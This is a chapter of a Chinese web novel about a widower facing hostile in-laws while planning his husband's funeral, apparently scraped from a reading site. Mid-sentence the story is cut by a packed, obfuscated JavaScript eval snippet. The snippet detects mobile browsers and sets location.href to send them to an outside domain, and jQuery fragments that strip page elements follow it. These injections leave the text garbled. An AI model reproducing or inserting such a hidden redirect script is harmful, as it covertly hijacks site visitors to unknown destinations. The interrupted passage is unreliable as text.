20.第 20 章

作品:《守寡四年前夫诈尸了

    “没什么,只是丢了件东西而已。”


    此刻造成伽巧‘心情不好’的原因太多,他刻意避重就轻,挑了最不痛不痒的一件。


    “想不起来放哪了?” Zoa 精确的道破原因。


    “……嗯。”伽巧唇间溢出微不可闻的气音。


    又被看透了。


    ‘嗒嗒嗒——’


    Zoa指尖有规律敲击桌面,仿佛通过这种节奏模拟伽巧的心理路线,“如果终点消失,不妨试试从起点重新出发。”


    “就这样吗?”


    亏伽巧刚才对Zoa抱有极高的期待,以为他能够通过安装在自己身边的‘隐形监控’,或者某种特异功能,隔空找到那张结婚照。


    至少现在可以确认,Zoa只是一个普通痴汉,没有想象中那么无所不能。


    伽巧竟然有些失望,糊弄两句准备挂断电话。


    指尖即将触碰到屏幕,突然想起什么,随口问道,“我送的慰问礼物,Lanner转交给你了吗?”


    电话那边,Zoa明显顿了几秒。


    祝南屿撩起眼皮,视线缓缓飘向窗台——采光最好的位置,放着一个造型朴素的陶土花盆。


    巴掌大小的花盆里,几片翠绿的椭圆形叶片,包裹着含苞的淡蓝花蕾,大概这几天就会绽放。


    “嗯,它长得很好。”Zoa伸出手,指尖隔着虚空描摹花苞的形状,嗓音低的近乎柔软,“伽董,这是什么花?”


    “不知道。”伽巧回答的干脆利落,“我听说慰问病人应该送花,正好家里的长辈分给我几株花苗……好像是随处可见的野花吧。”


    “也对。”祝南屿低声喃喃。


    如果伽巧知道自己种的是什么花,不可能如此平和的送给自己。


    电话挂断,祝南屿依旧凝视花盆里那株幼苗,想起Lanner把它拿过来时满脸疑惑的表情。


    “哦,天呐~小伽巧竟然独自在家种勿忘我,我想想都觉得心疼。”Lanner夸张地捧着胸口,叹了口气,“就算你暂时没办法回家,至少把还活着的消息告诉他吧?”


    “然后继续让他等?还是看到我这副半死不活的样子?”祝南屿阖起眼,难掩疲惫。


    曾经他以最糟糕的方式消失,现在不能以最糟糕的方式回归。


    那样对伽巧太残忍了。


    Lanner金色的睫毛颤动两下,“你知道它的花语吗?”


    “知道。”


    勿忘我。


    永恒的回忆。


    .


    “祝南屿先生的灵堂基本布置完毕,灯光和BGM已经调试到最佳,花篮花圈都按照最高规格选购,只剩下照片……”


    莫茉拿着流程单向家属汇报工作,目光小心翼翼瞥向伽巧。


    伽巧独自坐在角落,显得与其他几位‘家属’格格不入,轻描淡写开口,“没有照片,可以用牌位代替吗?”


    “哈?伽巧你没毛病吧?结婚那么久,连张像样的照片都找不到,听听你说的什么话!”祝柯大大咧咧坐在祝福禄和祝兴旺中间,大咧咧翘着二郎腿,手里搂着不知是恋人还是情人的年轻男性。


    “就是说嘛~”身高大约比伽巧矮半个头的小绿茶侧着身,像没骨头似的半个身子偎在祝柯怀里,嗲兮兮帮腔道,“我跟柯柯才认识两个月,情侣合照已经多到相册都存不下了~老公~好哥哥~买新手机给baby好不好?”


    “上周才给你买了平板,现在又要新手机?”祝柯伸手探进小绿茶衣服里,‘宠溺’又‘大度’地说,“那得看你今晚的‘表现’,把我伺候舒服了,什么都好说。”


    伽巧默默挪开眼神,感觉一阵反胃。


    也不知道看见什么脏东西,如此恶心。


    祝福禄斜了眼侄子,顺势说,“柯柯说得有道理,葬礼只有牌位确实不合适,让别人看我们祝家的笑话!”


    “哼!演都不演了!”祝兴旺臭着脸,“南屿倒了八辈子霉,才摊上这么个媳妇。”


    “我老早就觉得怀疑了,你对祝南屿真的有感情吗?”祝柯上上下下打量伽巧,目光轻蔑,“老公刚死第二天,你就像没事人似的搬离婚房,接管公司,怕不是早就计划好的,就盼着祝南屿早点死呢?”


    怀中的小绿茶捂住嘴,做作地惊呼,“天呐,世界上怎么会有这么恶毒的人?”


    “呵呵,你太不了解我这个‘弟媳’,他当初就是看中祝南屿的钱才缠上他。虽然祝南屿死了,但是有钱人还有这么多,小寡夫不知道给自己找了多少个下家?”


    伽巧面上平静似水,撑着桌沿的手却微微用力,斜了眼高谈阔论的祝柯,“你知道?”


    “当然!你做的那点破事,我朋友全部都告诉我了。”祝柯丝毫不顾体面,脸上满满的恶意,“上个月慈善晚宴,你勾引那个姓汪的去阳台,做了什么自己清楚!还有跟你签约那个Lanner,如果没有私情他怎么可能把项目给你?哦对了,傅清延出事前,亲自去千合总部让你跟他结婚,有这回事吧?脚踩那么多条船,你……嘶……啊!!!”


    祝柯话还没说完,声音突然变了调,发出一阵杀猪似的叫喊。


    伽巧身影晃了下,不知何时捏住他的手腕,指尖随意地收紧,祝柯叫声顿时更加凄惨。


    “我的手腕……啊……你放开我!!!”祝柯试图挣扎,可伽巧看似完全没用力,却怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471033|184801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也无法挣脱。


    刚才靠在他怀里的小绿茶,听祝柯喊得撕心裂肺,吓得连滚带爬溜到一边,丝毫没有刚才娇滴滴叫‘好哥哥’的情深义重。


    伽巧居高临下,淡漠地俯视他,“哪个朋友告诉你的?”


    “我凭什么告诉……啊啊啊!!!”


    祝柯还想嘴硬,伽巧又加了一分力气,耳边依稀听到骨头断裂的声音。


    “我说、我说!是王家老二还有……”祝柯疼得眼泪直飚,老老实实供出给自己当眼线的‘好兄弟’。


    祝兴旺只看到伽巧起身走到祝柯面前,柔弱无骨的纤细手指,轻轻捏起祝柯的手。


    他没当回事,脑子里盘算着:虽然儿子整天游手好闲,但为了赶时髦发朋友圈,保持着定期健身的习惯。还经常带着小情人爬山游泳,身体素质绝对属于中等以上。


    如果他跟伽巧打起来,肯定单方面碾压——


    听到祝柯一声高过一声的哀嚎,祝兴旺才发现这场‘单方面碾压’跟想象中不太一样,连忙冲过去制止伽巧。


    “王八蛋!你敢动我儿子?”


    赶在祝兴旺冲过去前,伽巧已经放开祝柯的手,仿佛丢掉用过的厕纸,拿起桌上的餐巾嫌恶地擦干净手指。


    祝柯那只手无力地下垂,手腕呈现不正常的扭曲形状,看向伽巧的眼神仿佛见到鬼。


    太恐怖了!


    就连自己的健身教练,也不可能有徒手折断别人手腕的力气!


    祝福禄见他们父子偏偏挑这个节骨眼跟伽巧撕破脸,害怕闹得太僵影响葬礼,连忙跳出来打圆场。


    “哎呀,巧巧你别生气,柯柯就是关心南屿。”祝福禄语重心长地说,“毕竟他们是亲兄弟,当然想让南屿体面的走完最后一程。他生前多么意气风发,死后却连个像样的遗照都没有……”


    “那个……”莫茉心惊肉跳地围观现实版豪门斗争,鼓起勇气发出声音,“没有遗照的葬礼,确实……不太庄重。”


    伽巧当然知道没有遗照的葬礼不像话,早知如此……


    突然,Zoa的声音再次回响。


    ‘如果终点消失,不妨试试从起点重新出发。’


    起点……


    “照片的事,我会想办法。”说完,伽巧径直离开。


    目送他身影消失,祝柯眼底闪过几分怨毒。


    “爸,三叔,现在怎么办?”


    祝福禄叹了口气,“小寡夫没有想象中好对付,一旦他接管遗产,就彻底跟祝家没关系了。我们辛辛苦苦,啥也捞不到。”


    “那还犹豫什么?该行动了。”祝兴旺递给他们一个阴冷的眼神,手抬到脖子下方,利落地抹了一下。